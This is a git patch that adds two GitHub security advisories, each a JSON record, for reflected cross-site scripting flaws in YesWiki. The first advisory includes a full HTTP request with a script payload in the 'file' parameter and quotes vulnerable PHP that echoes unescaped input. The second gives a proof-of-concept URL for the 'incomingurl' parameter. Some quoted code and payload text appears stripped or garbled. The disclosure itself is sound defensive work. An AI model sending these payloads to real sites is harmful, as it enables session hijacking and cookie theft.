From 8a9728fde2d086032c3a7dccefc243435b432d99 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 29 Apr 2025 14:40:18 +0000 Subject: [PATCH] Publish Advisories GHSA-2f8p-qqx2-gwr2 GHSA-cg4f-cq8h-3ch8 --- .../GHSA-2f8p-qqx2-gwr2.json | 65 +++++++++++++++++++ .../GHSA-cg4f-cq8h-3ch8.json | 61 +++++++++++++++++ 2 files changed, 126 insertions(+) create mode 100644 advisories/github-reviewed/2025/04/GHSA-2f8p-qqx2-gwr2/GHSA-2f8p-qqx2-gwr2.json create mode 100644 advisories/github-reviewed/2025/04/GHSA-cg4f-cq8h-3ch8/GHSA-cg4f-cq8h-3ch8.json diff --git a/advisories/github-reviewed/2025/04/GHSA-2f8p-qqx2-gwr2/GHSA-2f8p-qqx2-gwr2.json b/advisories/github-reviewed/2025/04/GHSA-2f8p-qqx2-gwr2/GHSA-2f8p-qqx2-gwr2.json new file mode 100644 index 00000000000..3dfcc8b4a38 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-2f8p-qqx2-gwr2/GHSA-2f8p-qqx2-gwr2.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2f8p-qqx2-gwr2", + "modified": "2025-04-29T14:38:12Z", + "published": "2025-04-29T14:38:12Z", + "aliases": [ + "CVE-2025-46349" + ], + "summary": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting", + "details": "### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n public function showUploadForm()\n {\n $this->file = $_GET['file'];\n echo '

' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . \"

\\n\";\n echo '
wiki->href('upload', $this->wiki->GetPageTag()) . \"\\\">\\n\"\n . '\twiki->GetPageTag() . \"/upload\\\" />\\n\"\n . '\tattachConfig['max_file_size'] . \"\\\" />\\n\"\n . \"\tfile\\\" />\\n\"\n . \"\t
\\n\"\n . '\t\\n\"\n . \"
\\n\";\n }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\"Снимок\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yeswiki/yeswiki" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "4.5.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206" + }, + { + "type": "PACKAGE", + "url": "https://github.com/YesWiki/yeswiki" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-04-29T14:38:12Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/04/GHSA-cg4f-cq8h-3ch8/GHSA-cg4f-cq8h-3ch8.json b/advisories/github-reviewed/2025/04/GHSA-cg4f-cq8h-3ch8/GHSA-cg4f-cq8h-3ch8.json new file mode 100644 index 00000000000..fc498cba3b6 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-cg4f-cq8h-3ch8/GHSA-cg4f-cq8h-3ch8.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cg4f-cq8h-3ch8", + "modified": "2025-04-29T14:37:04Z", + "published": "2025-04-29T14:37:04Z", + "aliases": [ + "CVE-2025-46350" + ], + "summary": "Yeswiki Vulnerable to Authenticated Reflected Cross-site Scripting", + "details": "### Summary\n**Vulnerable Version:** Yeswiki < v4.5.4\n**Vulnerable Endpoint:** `/?PagePrincipale%2Fdeletepage`\n**Vulnerable Parameter:** `incomingurl`\n**Payload:** `\">`\n\n### Details\nReflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\n### PoC\n**NOTE:** This vulnerability requires admin access.\n1. Visit the endpoint as mentioned below and see that an alert box pops up:\n\n **URL with Payload:** `https://yeswiki.net/?PagePrincipale%2Fdeletepage&incomingurl=\">`\n\n### Impact\nAn attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yeswiki/yeswiki" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.5.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-cg4f-cq8h-3ch8" + }, + { + "type": "WEB", + "url": "https://github.com/YesWiki/yeswiki/commit/e2603176a4607b83659635a0c517550d4a171cb9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/YesWiki/yeswiki" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-04-29T14:37:04Z", + "nvd_published_at": null + } +} \ No newline at end of file